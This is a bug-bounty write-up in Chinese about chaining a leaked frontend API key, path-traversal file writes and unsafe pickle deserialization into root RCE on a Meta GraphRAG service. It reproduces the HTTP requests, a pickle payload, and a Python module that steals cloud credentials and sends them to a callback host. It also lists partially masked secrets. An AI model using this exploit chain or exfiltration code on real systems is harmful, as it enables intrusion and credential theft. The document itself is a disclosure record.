导语:zonduu 投稿的 Meta 2026 年 5 月台湾 live hacking event 实战记录。从一段前端 JavaScript 里的硬编码 API key 起手,串起两次路径穿越与一次不安全的 pickle 反序列化,最终在一台 GraphRAG 服务上拿到 root 代码执行;再用 root 身份拉出 AWS 容器角色凭据、3,287 段真实会议转录、两个 GCP 服务账号(含一个叫 sso-admin 的)以及 17 个企业级密钥。

这是我在 Meta 2026 年 5 月台湾实时黑客活动中发现的漏洞。受邀参加之后,我把一段硬编码的 API key、两次路径穿越和一个不安全的 pickle 加载串起来,在 Meta 一台服务上拿到 root 代码执行,再从容器里拉出 AWS 凭据、两个 GCP 服务账号,外加账号里的所有密钥。结尾我会如实讲讲这事后来怎么收的——赏金和我预期的不太一样。
先说一句:本文里出现的所有凭据都已经截断或打码,而且全部早就轮换、撤销了。没有一个是活的。
目标
资产是 Meta AI 会议与助手栈里的一个 GraphRAG 服务,部署在 REDACTED.aws.metafb.cloud。跑在 AWS ECS Fargate 上(ECS 是 AWS 的容器编排服务,Fargate 是它的无服务器模式——不用自己管 EC2 实例)。它所在的通配域名是这次活动的特殊测试范围,那种范围在常规赏金之上还能叠 20% 加成。从主机名看,这还是个开发环境。
一段空窗,然后 JavaScript 里冒出一个 key
活动刚开始的大段时间我们都在做最基础的活:爬目标、扫子域名、能摸到的接口都走一遍、各种常规 payload 都试了一遍。很长一段时间都很安静。低危里容易拿的洞全都不在,开始有点那种”这台目标就是不吐东西”的感觉。
后来放慢节奏重新过了一遍前端,结果在一个 Next.js chunk(Next.js 自动按路由拆出来的 JS 包)里翻出一段直接硬编码在前端的 API key。
GET /_next/static/chunks/5314-8d2abfc6a63fb291.js HTTP/1.1
Host: REDACTED.aws.metafb.cloud
这个 key 在前端 bundle 里就是一个写死的 fallback 默认值,谁读这段 JavaScript 都能拿到:
env.FAST_GRAPHRAG_API_KEY || "apprunner_fast_graphrag_fgr_k3y_8x4n9p2q..."
它是 GraphRAG 接口的入场券,应用里那些有意思的接口现在都摸得到了。单看的话,前端 key 泄漏一般定低危或中危。真正有意思的,是这些接口实际能让我干什么。
这个 key 解锁了什么
这把 key 用来鉴权整套 GraphRAG API,而且这个 API 完全不设防。第一件事自然是看它后面藏着哪些数据,所以让它把全部数据列了出来:
GET /graphene/graph/available-datasets HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
{
"status": "success",
"cloud_datasets": [
{"name": "ai_calling_e17be6e0-d4fe-4fe9-...", "last_updated": "1772834277.58"},
{"name": "ai_calling_5ed8239d-4033-4f27-...", "last_updated": "..."},
{"... 3,285 more"
]
}
这是这个服务处理过的每一场 AI 通话会话。共 3,287 场,回溯到一年多以前,从 2025 年 3 月一直排到 2026 年 4 月。也不是 mock 数据。拿 graph 接口把其中一场读出来,返回的就是某个用户会话的真实内容——这次是某人在用 AI 助手规划一次个人滑雪旅行:
POST /graphene/graph/get_graph HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
Content-Type: application/json
{"dataset_name": "ai_calling_e17be6e0-d4fe-4fe9-..."}
{
"nodes": [
{"name": "MORGAN", "description": "AI assistant helping with the planning"},
{"name": "SKI TRIP", "type": "TRAVEL", "description": "A planned trip for skiing"},
{"name": "PALISADES", "type": "LOCATION", "description": "A ski resort destination"},
{"name": "DEAL SEARCH", "type": "PLANNING_TOOL", "description": "Searching for good prices"}
],
"edges": [
{"source": "MORGAN", "target": "SKI TRIP", "description": "Morgan helps plan the ski trip"}
]
}
而且接口不只读。同一个 key 还能把新数据集灌进知识库,也能直接把 S3 和 DynamoDB 里的现有数据集删掉。一段藏在 script tag 里的字符串,就能读写、销毁几千场真实会议会话。
光这一点已经够交一个像样的漏洞了。但同套 API 里有一个接口 load_datasources,它对接受的文件做了件更有意思的事。
文件写 + 路径穿越
这个接口接收一个 project_path 和一组上传文件,会自动建出 {project_path}/input/ 目录再把文件存进去。所以在我已经能读写数据集的基础上,这里又多了一手裸的文件写,这永远值得多看两眼。
真正的问题在 filename 字段——服务端从来没做过净化。一个像 ../../something.py 这种文件名就能逃出 input/ 目录往上爬,把一次普通上传变成任意文件写。要是我把 project_path 指到安装好的包目录,就能直接把文件写到 Python 的 site-packages(Python 解释器自动扫描的第三方包目录)里,这个目录在模块搜索路径上。这两个能力凑在一起就是杀招:一次上传 + 一次穿越,想把文件落到哪儿就落到哪儿。
为了验证这一点,我用一个穿越文件名上传了一个无害的标记文件,并把 project_path 指到安装好的包目录:
POST /graphene/graph/load_datasources HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="project_path"
/usr/local/lib/python3.11/site-packages/fast_graphrag
------boundary
Content-Disposition: form-data; name="files"; filename="../../h1_write_probe.txt"
Content-Type: text/plain
proof of arbitrary write
------boundary--
正常上传的话,文件应该被存到 .../fast_graphrag/input/ 下面。但服务端返回的解析后的路径里,../../ 已经从 input/ 目录逃出了两层:
{
"status": "success",
"message": "Successfully loaded 1 files",
"files": [{
"filename": "../../h1_write_probe.txt",
"path": ".../fast_graphrag/input/../../h1_write_probe.txt"
}]
}
这条路径解析出来就是 /usr/local/lib/python3.11/site-packages/h1_write_probe.txt,落到了 site-packages 根目录,而不是本应待的 input/ 子目录。filename 字段就是一个干净的任意文件写:应用用户能写到的位置我都能写,包括 Python 的模块搜索路径。
不过,磁盘上的文件还不是代码执行。服务端还得有人去加载或运行我写的东西,这一段才是硬骨头。
把那次写入变成代码执行(硬骨头)
这一步我花的时间最多。文件写 ≠ 代码执行。一个 Python 文件就是躺在 site-packages 里一整天也没人跑它,除非服务端真的有人去 import 或加载它。从”文件能写”走到”代码真的跑起来”,中间试了几种方案、几个假设都不成立,最后才有一条真的能跑通。
跑通的那条路在 /visualize 接口上。它会调用 pickle.loads() 加载一个名为 graph_igraph_data.pklz 的文件,没有签名校验;决定从哪个目录读文件的 dataset 参数本身又支持路径穿越。pickle(Python 内置的序列化模块)的不安全反序列化是个老牌代码执行原语,因为 pickle 允许对象自己定义”被反序列化时该干什么”。
这下我手里就齐了两个必要部件。第一个是真正的 payload:用前面那次任意写写进 site-packages 的小 Python 模块。它会读进程身份、环境变量和云端凭据,然后把这些数据发出来。模块在第一次被 import 的时候就会跑:
# h1_rce_module4.py
import os, urllib.request, base64, json
CALLBACK = "http://YOUR_COLLAB.oast.online"
try:
env = dict(os.environ)
whoami = os.popen("id").read()
creds_uri = env.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI", "")
aws_creds = ""
if creds_uri:
aws_creds = urllib.request.urlopen(
"http://169.254.170.2" + creds_uri, timeout=5
).read().decode()
urllib.request.urlopen(
CALLBACK + "/id?d=" + base64.b64encode(whoami.encode()).decode(), timeout=10,
)
urllib.request.urlopen(
CALLBACK + "/env?d=" + base64.b64encode(json.dumps(env).encode()).decode(),
timeout=10,
)
if aws_creds:
urllib.request.urlopen(
CALLBACK + "/awscreds?d=" + base64.b64encode(aws_creds.encode()).decode(),
timeout=10,
)
except Exception as e:
urllib.request.urlopen(
CALLBACK + "/err?e=" + base64.b64encode(str(e).encode()).decode(), timeout=5
)
它还是走同一条 load_datasources 写进去,这次文件名是 ../../h1_rce_module4.py,让它直接落到 site-packages:
POST /graphene/graph/load_datasources HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="project_path"
/usr/local/lib/python3.11/site-packages/fast_graphrag
------boundary
Content-Disposition: form-data; name="files"; filename="../../h1_rce_module4.py"
Content-Type: text/plain
[module content above]
------boundary--
第二个是另一个小文件 pickle,它干的事只有一件——被加载时 import 那个模块。import 一个模块会执行它的顶层代码,因为 Python 在第一次 import 时会跑模块顶层:
import pickle, gzip
class RCE:
def __reduce__(self):
return (__import__, ("h1_rce_module4",))
open("graph_igraph_data.pklz", "wb").write(gzip.compress(pickle.dumps(RCE())))
# 75 bytes
这个 pickle 直接写进包目录本身(site-packages 里的 fast_graphrag 子目录),从 input/ 跳一级 ../ 就到——这正好是 /visualize 加载数据的位置:
POST /graphene/graph/load_datasources HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="project_path"
/usr/local/lib/python3.11/site-packages/fast_graphrag
------boundary
Content-Disposition: form-data; name="files"; filename="../graph_igraph_data.pklz"
Content-Type: application/octet-stream
[gzipped pickle bytes]
------boundary--
两个文件都到位之后,把 dataset 参数指回 site-packages 就能触发加载:
GET /visualize?dataset=../../../../../usr/local/lib/python3.11/site-packages HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
返回的是一个 500,没别的有用内容。我的代码跑完之后,服务端尝试把结果当作图渲染,渲染不动就崩了。这是这个洞的局限:它是个盲 RCE(blind RCE,看不到命令输出的远程代码执行)。响应里从不带任何命令输出,从外部根本没法判断我的代码是不是真的跑了。任何想要确认的东西、任何想要取回的东西,都得从侧信道出来。
整个过程试了好几次才搞对,有两个点特别容易绊人:
- Python 会把 import 结果缓存在
sys.modules里。两次 import 同名模块,第二次就什么都不做。所以这个模块每次都要换一个全新的名字(module4、module10、依次类推)。 ../的次数得数对。差一次就会落到一个不存在的路径上,得到一个干净的 404,而不是代表已触发的 500。
侧信道:证明它跑起来了,跑的是 root
因为是盲的,模块就在原地把活干完,然后把结果发回给我。它读进程身份、容器环境,再从元数据服务拿 ECS task role 凭据,每个都做 base64 编码,作为明文 HTTP GET 请求发到我控制的回调主机(我用的是 Interactsh,也就是 OAST——Out-of-Band Application Security Testing,一种靠外联请求证明漏洞触达的安全测试方法学)。没有回调就代表这次尝试失败。有回调就代表我的代码已经跑起来了,数据已经在路上。盲洞的整套外联套路一句话讲完:读不到响应,就让服务端自己跑过来找你。
它跑起来了。回调服务器上落了三个请求,来自 34.212.88.131——这是 Meta 在 AWS us-west-2 区的 ECS Fargate 段——每个请求里都把容器里的某块数据用 base64 编码塞在查询字符串里:
GET /id?d=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAo... HTTP/1.1
Host: YOUR_COLLAB.oast.online
User-Agent: Python-urllib/3.11
remote-address: 34.212.88.131
GET /env?d=eyJEQVRBU0VUX0JVQ0tFVCI6ICJnZW9yZ2VsaXZla2l0... HTTP/1.1
Host: YOUR_COLLAB.oast.online
User-Agent: Python-urllib/3.11
remote-address: 34.212.88.131
GET /awscreds?d=eyJBY2Nlc3NLZXlJZCI6ICJBU0lBWUtDWUdXN1I... HTTP/1.1
Host: YOUR_COLLAB.oast.online
User-Agent: Python-urllib/3.11
remote-address: 34.212.88.131
Python-urllib 这个 user agent 就是模块在容器里向外发请求的指纹。把第一段 base64 解出来,确认它就是以 root 身份运行的:
uid=0(root) gid=0(root) groups=0(root)
host=ip-10-0-249-248.us-west-2.compute.internal
第二段解开之后是完整的容器环境,包括容器凭据接口的路径:
{
"DATASET_BUCKET": "georgelivekitfastgraphrag-livekitfastgraphragdatas-...",
"HOSTNAME": "ip-10-0-249-248.us-west-2.compute.internal",
"AWS_CONTAINER_CREDENTIALS_RELATIVE_URI": "/v2/credentials/415696df-...",
"AWS_EXECUTION_ENV": "AWS_ECS_FARGATE",
"AWS_DEFAULT_REGION": "us-west-2",
"DATASET_TABLE": "fastgraphragDatasets"
}
我的模块从 http://169.254.170.2 拼上那段相对 URI,直接把 ECS task role 凭据现拉回来——元数据服务直接给。
AWS 凭据解开了什么
光给一个盲 RCE + 一张回调截图,自动化评估那边太容易糊弄过去。所以接下来要把这把访问的实际威力坐实。盗出来的凭据在本地导出之后,能开始验证真实的访问能力,每一步都留一个无害的取证文件,不让任何环节停留在嘴上。身份查询证实它就是一个 Meta AWS 账号:
$ aws sts get-caller-identity
{
"Account": "571415640035",
"Arn": "arn:aws:sts::571415640035:assumed-role/GeorgeLiveKitFastGraphRag-...Siz85aztIBBM/..."
}
从这里开始爆炸半径很快扩开:
- S3,可读可写。数据集那个 bucket 里存的是全部 3,287 场真实会议的转录和图数据。读、写都试了一遍——往里丢了一个无害的取证文件确认写权限。
- DynamoDB,可读可写。
fastgraphragDatasets表里有 3,287 条记录,写一条取证项进去也被接受了。 - Secrets Manager,完整读权限。账号里全部 17 个密钥都拉到了。
随手挑一段转录看看这些数据究竟是什么:
# AI Assistance Session Summary
## Overview
Brief initial greeting from AI assistant Morgan, offering help.
- Morgan introduced themselves as an "AI teammate"
- No action items were generated
那 17 个密钥
到这里,容器级别的漏洞就已经不止一台机器的事了。下面表格里的值都按惯例砍到可辨识前缀。
| 密钥 | 是什么 | 值(已打码) |
|---|---|---|
| fb_client_secret | Facebook / Meta OAuth 客户端密钥 | d339105d62… |
| okta/client-secret | Okta OAuth 客户端密钥(SSO 用) | CkX9-d_Sm3m_8w8… |
| JWT_SECRET | JWT 签名密钥(可伪造任意用户令牌) | 3f86cb0ce647… |
| OPENAI_API_KEY | OpenAI 服务账号密钥 | sk-svcacct-lbao3chk… |
| LIVEKIT_API_KEY | LiveKit 密钥(可加入或录制任意房间) | APINyqJDF… |
| LIVEKIT_API_SECRET | LiveKit 密钥 | 25bthQhnBsrL… |
| livekit/creds | 第二对 LiveKit 密钥 | Rag_livekit / A9R4xE1v… |
| livekit/api-credentials | LiveKit API 密钥(主密钥的 yaml 打包) | APINyqJDF… / 25bthQhnBsrL… |
| matrix/livekit/credentials | 第三对 LiveKit 密钥 | APIAaNRnLwqMHWL / l5jGXGQt… |
| gcp | GCP 服务账号 sso-admin@xr-insight-experiences | private_key_id f9129071… |
| GOOGLE_APPLICATION_CREDENTIALS | GCP 服务账号 vertex-ai-de-service-account@xr-insight-experiences | private_key_id 1baf9ea6… |
| MORGAN_SERVICE_KEY | Morgan 内部服务密钥 | MG_3nB8xC1v… |
| MORGANA_API_KEY | Morgana 内部密钥 | apprunner_fast_graphrag… |
| SPEECH_ASSISTANT_SERVICE_KEY | 内部语音助手密钥 | SA_7kX9mP2q… |
| QUANTIFIED_SELF_API_KEY | 内部服务密钥 | qs_secret_upload_… |
| SERPAPI_KEY | SerpAPI 密钥 | 3f49fd8b134e… |
| FAST_GRAPHRAG_API_KEY | GraphRAG 应用密钥,就是前端 JS 里漏的那条 | apprunner_fast_graphrag_fgr_k3y… |
两个 GCP 服务账号是最让我警觉的部分,因为它们把整件事从 AWS 拽进了 Google Cloud。其中一个账号名字是 sso-admin。我没去捅 Meta 的 Google Workspace,但光看这名字就该大声示警——一个能管 SSO 或 SAML 配置的服务账号,本身就是一条关键路径。我在本机激活了一个账号,打出 access token,证明这些 key 是活的:
export GOOGLE_APPLICATION_CREDENTIALS="key.json"
gcloud auth activate-service-account --key-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud auth print-access-token
# ya29.c.c0AZ4bNpbTM7c5Q1... (valid)
所以从一条前端泄漏的 key 起步,完整收获清单是:容器上的 root 代码执行 + 容器自己的 AWS 角色 + 对 3,287 段真实会议转录在 S3 和 DynamoDB 上的读写权限 + 17 个密钥,里面有活的 OAuth 客户端密钥、一个 JWT 签名密钥和两个 GCP 服务账号。
时间线
响应是真的快。从我提交第一份报告到凭据开始被撤,前后只隔了一个通宵。
| 时间 | 发生了什么 |
|---|---|
| 4 月 19 日,下午 4:53 | 提交报告。 |
| 4 月 19 日,下午 6:21 | Meta 安全团队成员做了初步评估。 |
| 4 月 19 日,晚上 10:45 | 对方要求完整 PoC 和未经打码的原始密钥。 |
| 4 月 19 日,晚上 10:48 | 完整 PoC 和密钥发出。 |
| 4 月 20 日,凌晨约 4:40 | 凭据开始失效,那时候我还在写注释。开发已经在轮换了。几个小时就修完。 |
| 5 月 8 日 | 赏金到账。 |
我没预料到的那一段
活动早期我就问过 Meta 的付款方式,因为我是第一次参加他们的项目,老实说觉得这是一个大头。在某些平台上,最高严重程度的漏洞就给最高赏金,那种”零交互账号接管”级别的 bug 能拿到六位数。对方的回复公平又克制:奖励按实际影响计算;研究员能从外部确认的范围之外,他们还会另做影响调查;他们在 AWS 上的历史暴露面历来很小。
最终裁定是 $500 赏金 + $25 Hacker Plus 奖金,一共 $525。
说句心里话,这个数字让我心里发堵。root 在手,AWS 容器角色在手,对 3,287 段真实会议转录的读写在手,两个 GCP 服务账号(含一个 sso-admin),17 个密钥——活的 OAuth 客户端密钥和一个 JWT 签名密钥全部在同一账号里——这些都已经被证明过,不是假设。全部加起来折算下来就是 $525。
撇开付款不谈,Meta 这次活动本身是一段很棒的体验。我借着这个机会了解了日本和台湾,沿路认识了很多人,这部分给我什么都换不走。
行。这篇就写到这。下一篇在 Twitter 见。














暂无评论内容